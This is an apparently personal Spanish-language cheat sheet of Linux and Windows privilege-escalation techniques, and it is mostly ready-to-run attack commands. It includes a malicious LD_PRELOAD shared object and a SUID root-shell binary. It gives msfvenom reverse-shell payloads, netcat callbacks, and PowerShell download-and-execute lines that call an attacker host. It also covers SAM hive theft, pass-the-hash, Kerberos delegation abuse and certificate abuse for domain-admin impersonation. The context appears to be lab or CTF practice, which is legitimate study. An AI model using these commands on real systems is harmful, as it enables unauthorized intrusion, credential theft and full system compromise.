🔐Privilege Escalation

Vectores de escalada de privilegios en sistemas comprometidos

Linux

Enumeración General

hostname # nombre de host
uname -a # detalles del kernel
ps aux # procesos en ejecución
env # variables de entorno
sudo -l # comandos bajo root
id # lista privilegios y grupos
history # historial de comandos
ifconfig # info sobre interfaces de red
netstat # info sobre conexiones existentes
find / -type f -perm -400 2>/dev/null # archivos SUID
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # writables
ESCRITURA en PASSWD o SHADOW

/etc/passwd

nano /etc/passwd # Eliminar X de root:x:0:0:root:/root:/bin/bash
su root # sin contraseña

/etc/shadow

mkpasswd -m sha-512 <pass> # hash nueva pass
nano /etc/shadow # sustituímos root hash
su root # nueva pass
cat /proc/version # versión del kernel y compiladores
cat /etc/issue # info sobre SO
cat /etc/passwd | cut -d ":" -f 1 # usuarios del sistema
cat /etc/shadow # hashes de usuarios
cat /etc/crontab # tareas programadas
cat /etc/shells # info sobre shell
ls -l home/<user>/.ssh # user ssh keys
ls /var/www/html/ # extra + info, databases, pass reuse

Explotación General

PRIVESC via KERNEL EXPLOITATION
  1. Identificar la versión del kernel > uname -a

  2. Identificar exploits para la versión vulnerable

PRIVESC via SUDO

Listar permisos sudo del usuario actual > sudo -l

Explotar las funciones de aplicaciones específicas

https://gtfobins.github.io/

Library Hijacking - LD_PRELOAD

La función LD_PRELOAD permite que cualquier programa utilice librerías compartidas. La opción env_keep+=LD_PRELOAD debe estar habilitada para poder generar nuestra librería compartida maliciosa que se cargará y ejecutará bajo permisos sudo antes que el propio programa.

La metodología para este vector de escalada es sencilla:

  1. Comprobar que la función env_keep está habilitada para algún programa:

sudo -l
# env_reset, env_keep+=LD_PRELOAD
# (root) NOPASSWD: /some/binary/path
  1. Share object malicioso en C

uwu.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
  1. Compilación

gcc -fPIC -shared uwu.c -o uwu.so -nostartfiles
  1. Ejecución de binario sudo y función LD_PRELOAD apuntando a share object malicioso

sudo LD_PRELOAD=/path/to/object.so <binary>
PRIVESC via SUID

Buscar archivos con permisos SUID

find / -type f -perm -4000 -ls 2>/dev/null
# rwsr-xr-x

https://gtfobins.github.io/

PRIVESC via CAPABILITIES

Listar binarios con capabilities

getcap -r / 2>/dev/null

https://gtfobins.github.io/

PRIVESC via CRON JOBS

Comprobar tareas programadas

cat /etc/crontab

Binary Hijacking

Si en una tarea programada se especifica solamente el nombre del binario a ejecutar en lugar de indicar su ruta absoluta, Cron procederá a buscarlo mediante la variable PATH del archivo /etc/crontab. Podremos aprovechar esto para crear un binario malicioso que suplante el indicado en la tarea programada para ejecutarlo bajo permisos root.

binario
/bin/bash # ejecutar una bash
chmod u+s /bin/bash # dar permisos SUID a la bash
PRIVESC via PATH

Condiciones a tener en cuenta:

  1. ¿Qué directorios se encuentran dentro del $PATH?

  2. ¿El usuario actual tiene permisos de escritura para alguno de esos directorios?

  3. ¿Se puede modificar el $PATH?

  4. ¿Se puede ejecutar alguna aplicación que se vea afectada por esta vulnerabilidad?


Buscar directorios con permisos de escritura:

find / -writable 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

Modificar $PATH:

export PATH=/tmp:$PATH
PRIVESC via NFS

La configuración del NFS, se detalla en el archivo /etc/exports creado durante la instalación del servidor NFS.

no_root_squash

La opción no_root_squash en un directorio compartido con permisos de escritura es crítica, ya que permite crear un ejecutable con permisos SUID.

  1. Comprobar opción no_root_squash en los directorios compartidos de la máquina

cat /etc/exports
  1. Enumerar directorios exportados desde la máquina atacante

showmount -e <IP>
  1. Creación y montaje de directorio temporal sobre el shared vulnerable

mkdir /tmp/uwu
mount -o rw <ip>:/<share-vulnerable> /tmp/uwu
  1. Binario malicioso

int main()
{setgif(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}
  1. Compilación y asignación SUID

gcc uwu.c -o uwu -w
chmod u+s uwu
  1. Ejecución del binario en la máquina víctima

./uwu

Grupos

ADM group - Admin Log Reader

En Linux, el grupo adm (admin log reader) es un grupo del sistema que se utiliza para dar acceso a los archivos de registro del sistema, principalmente ubicados en /var/log/

cd /var/log ; grep -Ri <password/username/db_password>

Windows

Enumeración

ver # OS version
systeminfo # OS info
ipconfig # network info
tasklist # procesos
whoami /all #full
whoami /priv # check privilegios usuario actual
whoami /groups # grupos
icacls <C:\path\to\binary> # check permisos de binario o directorio
Get-Acl -Path "<C:\path\to\binary>" # check en Powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt # powershell historyschtasks # check tareas/query /tn <task-name> /fo list /v # Info exsobre tarea específica

Password Harvesting Spots

UNATTENDED WINDOWS INSTALLATION

Posibles ubicaciones de archivos de configuración de las instalaciones unattended

  • C:\Unattend.xml

  • C:\Windows\Panther\Unattend.xml

  • C:\Windows\\Panther\Unattend\Unattend.xml

  • C:\Windows\system32\sysprep.inf

  • C:\Windows\system32\sysprep\sysprep.xml

POWERSHELL HISTORY
cmd.exe
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Powershell
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
SAVED WINDOWS CREDENTIALS
Lista credenciales guardadas en el sistema
cmdkey /list
Abre una shell usando las credenciales guardadas
runas /savecred /<username> cmd.exe
IIS CONFIGURATION

Posibles ubicaciones del archivo web.config

  • C:\inetpub\wwwroot\web.config

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Filtra por connection strings de la base de datos
type <C:\path\to\web.config> | findstr connectionString
RETRIEVE CREDENTIALS from PUTTY
Filtra credenciales en configuración de proxy
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Explotación

BINARY HIJACKING via SCHEDULED TASK BINARY
Listar tareas programadas
schtasks
schtasks /query /tn <task-name> /fo list /v

Parámetros a tener en cuenta:

  • Task to Run Indica el binario que ejecutará la tarea.

  • Run As User Indica sobre qué usuario se ejecutará el binario

Comprobar permiso de binario
icacls <C:\path\to\binary>
# BUILTIN\Users:(I)(F) -> F = Full access
Modificar binario
echo c:\tools\nc64.exe -e cmd.exe <ip-a> <port> > <C:\path\to\binary>
Listener en máquina local
nc -lvnp <port>
EVIL WINDOWS INSTALLER via AlwasyInstalledElevated

Si estos dos valores de registro están configurados podemos generar un archivo .msi malicioso para recibir una reverse shell con altos privilegios.

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f msi -o malicious.msi
nc -lvnp <port>
Transferimos el .msi y ejecutamos la instalación
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Service Misconfigurations

La configuración de todos los servicios se almacena en un registro en:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service>

BINARY HIJACKING via INSECURE PERMISSIONS on SEVICE EXECUTABLE
sc query state= all # Listar servicios
Comprobar configuración de un servicio
sc qc <service-name>

Localizar el ejecutable y cuenta de usuario asociados al servicio:

  • BINARY_PATH_NAME

  • SERVICE_START_NAME

Comprobar permisos del ejecutable
icacls <c:\path\to\executable>
# Everyone:(I)(M) -> M = Modify
Generar reverse shell en servicio-exe, python server y listener
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.server
nc -lvnp <port>
Descargar desde Powershell
wget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exe
Sustituir ejecutable por el malicioso y conceder permisos
move <real-executable.exe> <real-executable.exe.bkp>
move <c:\path\to\fake-executable> <real-executable.exe>
icacls <real-executable.exe> /grant Everyone:F
  • Esperar a que el servicio se reinicie, o reinicio manual si es posible

SERVICE PATH HIJACKING via UNQUOTED BINARY PATH

Localizar un servicio con BINARY_PATH_NAME especificado sin comillas dobles y con espacios en algún lugar del nombre de la ruta.

  • C:\some\path to the\binary-name

Comprobar permisos del directorio base
icacls c:\<directory>
# BUILTIN\Users:(I)(CI)(WD) -> WD = Write Data
Generar reverse shell en servicio-exe, python server y listener
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.server
nc -lvnp <port>
Descargar desde Powershell
wget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exe
Mover a la ubicación clave, renombrar y conceder permisos
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
  • Esperar a que el servicio se reinicie, o reinicio manual si es posible

BINARY HIJACKING via INSECURE SERVICE PERMISSIONS
Comprobar la DACL de un servicio
accesschkk64.exe -qlc <service>
# [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
#	      SERVICE_ALL_ACCESS
Generar reverse shell en servicio-exe y levantar python server
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.server
Descargar con Powershell
wget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exe
Otorgar permisos full access para todos
icacls C:\Users\thm-unpriv\rev-svc.exe /grant Everyone:F
Reconfigurar servicio para apuntar al exe y ejecutar como system
sc config <service> binPath= "C:\Users\thm-unpriv\rev-svc.exe" obj= LocalSystem
  • Esperar a que el servicio se reinicie, o reinicio manual si es posible

Dangerous Privileges

SAM/SYSTEM BACKUP + PASS-THE-HASH ATTACK via SeBackup / SeRestore
Comprobar privilegios del usuario actual
whoami /priv
# SeBackupPrivilege     Back up files and directories  Disabled
# SeRestorePrivilege    Restore files and directories  Disabled
Realizar copia de hashes SAM y SYSTEM
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
Directorio compartido temporal y SMB server con Impacket
# máquina local
mkdir temp
python3 /opt/impacket/examples/smbserver.py -smb2support -username <username> -password <user-pass> temp share
Copiar los archivos al directorio
copy C:\Users\THMBackup\sam.hive \\<ip-a>\temp\
copy C:\Users\THMBackup\system.hive \\<ip-a>\temp\
Extraer los hashes con Impacket
python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Ataque pass-the-hash con psexec y acceder como admin
python3 /opt/impacket/examples/psexec.py -hashes <hash> administrator@<ip>
BINARY HIJACKING via SeTakeOwnership
Comprobar privilegios del usuario actual
whoami /priv
# SeTakeOwnershipPrivilege Take ownership of files or other objects  Disabled
Tomar posesión de un binario con permisos de sistema
takeown /f <C:\path\to\binary.exe>
Otorgarse privilegios sobre binario
icacls <C:\path\to\binary.exe> /grant <username>:F
Reemplazar binario con copia del cmd
copy cmd.exe <C:\path\to\binary.exe>
  • Ejecutar binario

PRIMARY TOKEN IMPERSONATION via SeImpersonate / SeAssignPrimaryToken
Comprobar privilegios del usuario actual
whoami /priv
# SeImpersonatePrivilege  Impersonate a client after authentication  Enabled
Comprobar status de winrm
winrm enumerate winrm/config/listener
  • Para explotar este vector WinRM no debe estar en ejecución.

Levantar listener para reverse shell
nc -lvnp <port>

https://github.com/antonioCoco/RogueWinRM

Ejecutar el exploit ya descargado en la máquina víctima
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <ip-a> <port>"
RESET PASSWORD via ForceChangePassword
net rpc password "username-victima" "nueva-pass" -U "<domain>"/"user"%"password" -S "<ip>"
TGT IMPERSONATION via AllowedToDelegate
impacket-getST -spn "cifs/<computer>.<domain>" -impersonate "Administrator" -dc-ip <ip> "<domain>/<user>:<pass>"
export KRB5CCNAME=<tgt-file.ccache>
impacket-wmiexec -k -no-pass administrator@<computer>.<domain>
TGT IMPERSONATION via Resource-Based Constrained Delegation
Añadir pc
impacket-addcomputer -computer-name 'UWU$' -computer-pass 'uwu123' -dc-host <computer>.<domain> -domain-netbios <domain> -dc-ip <ip> '<domain>/<user>:<pass>'
Asignar permiso delegate
impacket-rbcd -delegate-from 'UWU$' -delegate-to '<target-pc>$' -dc-ip <ip> -action 'write' '<domain>/<PC>:<pass>'
Solicitar TGT
impacket-getST -spn 'cifs/<pc>.<domain>' -impersonate 'Administrator' -dc-ip <ip> '<domain>/<PC>:<pass>'
Volcar hashes NTLM
impacket-secretsdump '<domain>/Administrator@<pc>.<domain>' -k -no-pass -dc-ip <ip> -target-ip <ip> -just-dc-ntlm
Iniciar sesión remota con hash
evil-winrm -i <ip> -u Administrator -H '<hash>'

Dangerous Groups

BUILTIN\Administrators + Medium Mandatory Level - UAC Bypass Reverse Shell
  • Necesita credenciales válidas

https://github.com/antonioCoco/RunasCs

powershell
wget http://<ip-a>:<port>/runasCs.exe -o runas.exe
runas.exe hugo SurpriseMF123! "powershell -c IEX (New-Object System.Net.WebClient).DownloadString('http://<ip-a>:<port>/uwu.ps1')" --bypass-uac
BUILTIN\Certificate Service DCOM Access - Domain Admin Impersonation
certipy-ad find -u <user> -p <pass> -dc-ip <ip>
certipy-ad req -u '<user>' -p '<pass>' -ca '<CA>' -template '<template>' -upn '<user-victim>@<domain>' -target '<computer>.<domain>' -dns '<ip>'
certipy-ad auth -ldap-shell -pfx <certificate.pfx> -dc-ip <ip>
change_password <user-victim> <new-pass>
impacket-smbexec '<domain>/<user>:<new-pass>@<ip>'

Vulnerable Software

wmic product get name,version,vendor

Privesc Enumeration Tools

WinPEAS
winpeas.exe > output.txt
PrivescCheck
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
WES-NG: Windows Exploit Suggester - Next Generation
systeminfo > systeminfo.txt # systeminfo de máquina víctima
-----------------
wes.py --update
wes.py systeminfo.txt
Metasploit
metasploit module: multi/recon/local_exploit_suggester

Última actualización